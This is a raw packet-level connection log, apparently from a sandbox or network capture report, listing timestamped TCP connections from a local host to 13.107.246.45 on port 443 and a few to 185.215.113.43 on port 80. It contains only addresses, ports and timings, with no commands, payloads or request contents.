Oct 7, 2024 03:23:04.907759905 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.910177946 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.910324097 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.910387993 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.925971031 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.926120043 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.926290989 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.934942961 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.934993982 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.935024977 CEST	49779	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.935041904 CEST	443	49779	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.937931061 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.937959909 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.937973022 CEST	49778	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.937978983 CEST	443	49778	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.940402031 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.940418959 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.940428972 CEST	49780	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.940433025 CEST	443	49780	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.945352077 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.945513964 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.945569992 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.949449062 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.949470043 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.949549913 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.950278044 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.950375080 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.950443983 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.950833082 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.950920105 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.950922966 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.950944901 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.950957060 CEST	49781	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.950963974 CEST	443	49781	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.950990915 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.983499050 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.983661890 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.983725071 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.991440058 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.991478920 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.991583109 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.994112015 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.994147062 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.994250059 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.994266033 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.994282007 CEST	49782	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.994290113 CEST	443	49782	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:04.994292021 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:04.994317055 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.017499924 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.017512083 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.017606974 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.017647982 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.060636997 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.060714006 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.060782909 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.060981989 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.061007977 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.649837971 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.651228905 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.651299000 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.651829004 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.651844025 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.666646957 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.667027950 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.667045116 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.667613983 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.667618036 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.674181938 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.674510002 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.674520016 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.675051928 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.675056934 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.681700945 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.682019949 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.682060957 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.682722092 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.682750940 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.696702003 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.696991920 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.697007895 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.697379112 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.697390079 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.750179052 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.750350952 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.750446081 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.752471924 CEST	49788	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:05.757348061 CEST	80	49788	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:05.757441998 CEST	49788	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:05.757905960 CEST	49788	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:05.758212090 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.758232117 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.758244991 CEST	49786	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.758253098 CEST	443	49786	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.762747049 CEST	80	49788	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:05.765929937 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.765959978 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.766033888 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.766165018 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.766177893 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.779004097 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.779151917 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.779221058 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.779316902 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.779324055 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.779336929 CEST	49785	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.779341936 CEST	443	49785	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.781802893 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.781877041 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.781959057 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.783442020 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.783458948 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.783521891 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.784611940 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.784626007 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.784882069 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.784915924 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.784943104 CEST	49784	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.784959078 CEST	443	49784	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.787843943 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.787930012 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.788009882 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.794395924 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.794435024 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.795857906 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.795934916 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.795994043 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.796053886 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.796072006 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.796094894 CEST	49787	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.796106100 CEST	443	49787	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.798316002 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.798366070 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.798425913 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.800959110 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.801001072 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.801083088 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.801249027 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.801269054 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.801279068 CEST	49783	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.801284075 CEST	443	49783	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.803831100 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.803852081 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.803940058 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.804234028 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.804235935 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:05.804244995 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:05.804253101 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.418025017 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.419233084 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.419245958 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.419907093 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.419912100 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.441770077 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.443084002 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.443103075 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.443470955 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.443475962 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.448576927 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.452008009 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.452029943 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.452403069 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.452406883 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.460920095 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.463958025 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.464031935 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.464499950 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.464514971 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.465888023 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.466944933 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.466968060 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.467279911 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.467284918 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.470586061 CEST	80	49788	185.215.113.43	192.168.2.4
Oct 7, 2024 03:23:06.470678091 CEST	49788	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:06.518107891 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.518239975 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.518400908 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.518524885 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.518546104 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.518556118 CEST	49789	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.518560886 CEST	443	49789	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.521027088 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.521054029 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.521143913 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.521254063 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.521265030 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.552397013 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.552542925 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.552655935 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.552762032 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.552767038 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.552809954 CEST	49790	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.552814007 CEST	443	49790	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.555272102 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.555319071 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.556679010 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.556772947 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.556786060 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.565217018 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.565365076 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.565464020 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.565566063 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.565587997 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.565603018 CEST	49791	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.565609932 CEST	443	49791	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.567106009 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.567138910 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.567209005 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.567313910 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.567329884 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.569756031 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.569811106 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.569866896 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.569966078 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.569974899 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.569984913 CEST	49793	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.569994926 CEST	443	49793	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.571996927 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.572073936 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.572226048 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.572341919 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.572375059 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.697175980 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.697273016 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.697348118 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.697547913 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.697578907 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.697597027 CEST	49792	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.697602987 CEST	443	49792	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.700314999 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.700381041 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:06.700464964 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.700642109 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:06.700679064 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.188481092 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.188960075 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.188968897 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.189368010 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.189373016 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.195274115 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.195645094 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.195663929 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.196250916 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.196257114 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.216769934 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.217099905 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.217118979 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.217539072 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.217545986 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.234268904 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.234523058 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.234565020 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.234963894 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.234970093 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.291896105 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.292041063 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.292136908 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.292356014 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.292380095 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.292388916 CEST	49794	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.292393923 CEST	443	49794	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.293030977 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.293186903 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.293248892 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.293673992 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.293687105 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.293698072 CEST	49795	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.293701887 CEST	443	49795	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.296611071 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.296649933 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.297430038 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.297463894 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.297470093 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.297516108 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.297605038 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.297626972 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.297676086 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.297683001 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.314676046 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.314834118 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.314886093 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.314913034 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.314928055 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.314939976 CEST	49796	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.314945936 CEST	443	49796	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.317440987 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.317529917 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.317620993 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.317749023 CEST	49801	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.317785025 CEST	443	49801	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.337369919 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.337445021 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.337548971 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.337867975 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.337894917 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.337912083 CEST	49797	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.337918043 CEST	443	49797	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.340171099 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.340198040 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.340292931 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.340396881 CEST	49802	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.340421915 CEST	443	49802	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.377444029 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.379062891 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.379089117 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.379446030 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.379452944 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.481342077 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.481475115 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.481529951 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.481638908 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.481652975 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.481663942 CEST	49798	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.481669903 CEST	443	49798	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.483774900 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.483802080 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.483999014 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.484165907 CEST	49803	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.484169960 CEST	443	49803	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.936279058 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.936883926 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.936899900 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.937474012 CEST	49800	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.937479973 CEST	443	49800	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.939524889 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.940256119 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.940274000 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.940789938 CEST	49799	443	192.168.2.4	13.107.246.45
Oct 7, 2024 03:23:07.940797091 CEST	443	49799	13.107.246.45	192.168.2.4
Oct 7, 2024 03:23:07.986368895 CEST	49788	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:07.986752033 CEST	49804	80	192.168.2.4	185.215.113.43
Oct 7, 2024 03:23:07.988265991 CEST	443	49801	13.107.246.45	192.168.2.4
